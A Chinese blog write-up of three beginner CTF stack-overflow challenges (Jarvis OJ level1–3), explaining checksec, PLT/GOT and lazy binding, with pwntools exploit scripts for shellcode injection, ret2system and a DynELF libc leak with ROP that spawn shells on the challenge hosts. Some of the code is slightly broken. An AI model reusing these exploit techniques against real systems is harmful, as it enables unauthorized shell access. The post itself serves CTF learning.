pwn三连

今天 pwn的level1,level2,level3
这些都是pwn里面最简单的一种类型–栈溢出

level1

第一步先用checksec检查

checksec,是用来检查可执行文件属性的。

Arch:说明这个文件的属性是什么,说明是32位的程序。
RELRO:设置符号重定向表格为只读,或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。如果RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,linux中把这种cookie信息称为canary,所以如果开启了这个,就一般不可以执行shellcode了。
NX(DEP):即No-eXecute(不可执行)的意思,同样的,如果NX开启后,溢出转到shellcode以后,由于开启了不可执行,所以cpu就会抛出异常,而不去执行恶意指令。
**PIE(ASLR)**地址分布随机化。

110741377.png)

显示这是个32位的,所以用ida查看的话需要用32位的去查看,NX那一行是disabled,所以是没有开启NX保护。没有NX保护,可以直接执行shellcode,用pwntools提供的函数直接生成asm(shellcraft.sh())。
用ida反汇编,找到溢出点
进入main
在这里插入图片描述在 vulnerable_function 函数中 , 有一个字符变量
首先打印的是这个字符变量的地址 (首地址)
然后再通过 read 从标准输入流接收用户输入 , 并把输入的数据从 buf 的地址开始写入内存

脚本内容

from pwn import *    //导入库
context(log_level = 'debug', arch = 'i386', os = 'linux')

shellcode = asm(shellcraft.sh())   //asm可以对汇编代码进行汇编
io = remote('pwn2.jarvisoj.com', 9877)   /*用来建立一个远程连接,url或者ip作为地址
                               然后指明端口,这里也可以仅仅使用本地文件,调试时方便:*/
text = io.recvline()[14: -2]  

buf_addr = int(text, 16)

payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()

第二行设置目标机的参数
context(os=’linux’, arch=’amd64’, log_level=’debug’)

  1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
  2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’

获取shellcode
获得执行system(“/bin/sh”)汇编代码所对应的机器码:asm(shellcraft.sh())

text = io.recvline()[14: -2]
recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。
[14:-2]只是python里面的一个切片,代表”What’sthis:0xffee6c50?”
这句话取第14个到倒数第二个字符,就是0xffee6c50
这里的text为buf的地址,只不过是字符型的,需要int(text,16)用16进制的方法转化为int型
然后在虚拟机里面跑脚本
在这里插入图片描述

level2

第一步还是用checksec去检查

在这里插入图片描述
开了NX,没有开栈保护和装载地址随机化
因为开启了nx,所以就不可以用shellcode来做了
拖到IDA里面,
在这里插入图片描述在这里插入图片描述

发现了/bin/sh,而且还有system函数
在这里插入图片描述

因为程序没有开内存地址随机化(PIE),直接用IDA里上方菜单栏内的serch for text查一下system和\bin\sh的地址

.data:0804A024                 public hint
.data:0804A024 hint            db '/bin/sh',0
.data:0804A024 _data           ends
 
.plt:08048320                 jmp     ds:off_804A010
.plt:08048320 _system         endp

有了system和\bin\sh的地址后,就能构造payload了

from pwn import *
system_addr=0x0804845
bin_sh=0x0804A024
p=remote("111.198.29.45",37657)
p.recvline()
payload="A"*0x88+"A"*4+p32(system_addr)+p32(bin_sh)
p.sendline(payload)
p.interactive()

然后运行脚本
在这里插入图片描述
.
level3

在这里插入图片描述
发现还是开启了NX保护
很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了
在这里插入图片描述
做这个题我们首先要明白plt和got表。此为大佬总结https://blog.csdn.net/qq_18661257/article/details/54694748在这里插入图片描述

plt表中存放的是函数在got表中该项的地址,got表存放的是函数在内存中的真实地址,也就是说plt[write]指向got[write],got[write]指向write函数在内存中的地址。而plt表在服务器和客户机是一样的,不一样的是函数在内存中的地址。程序运行后加载动态库,把动态库中的相应函数地址填入GOT表。同时还有个知识点,libc文件中不同函数、数据之间的偏移量在服务器和客户机中是一样的

GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。
PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,
即函数第一次被调用的时候才进行绑定。


所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),
如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,
特别有利于一些引用了大量函数的程序

这里有一个新的模式,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串

main函数的地址
在这里插入图片描述
查看main函数
在这里插入图片描述
里面有个vulnerable函数
在这里插入图片描述
vulnerable_function函数调用了read函数,read函数是动态链接加载进来的只有在链接的时候才知道地址

进入看到有call
在这里插入图片描述双击进去
进到plt表。找到跳转。继续双击
在这里插入图片描述
进入到got表
在这里插入图片描述
got表中的所存的read函数的地址便是进程中的实际地址

脚本

from pwn import *
#context.log_level="debug"
pop_pop_pop_ret=0x08048519
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]  //#搜寻write(函数)地址,也可以自己找到地址写上去
def leak(address):
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
data=p.recv(4)
print hex(u32(data))
print "%#x => %s" % (address,(data  or '').encode('hex'))
return data
p=remote("pwn2.jarvisoj.com",9879)
#p=process("./level3")
d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)



bss_addr=0x0804a024
plt_read=elf.plt["read"]
p.recvline()
sleep(1)
payload = "A" * 0x88 + "A" * 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)
raw_input()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值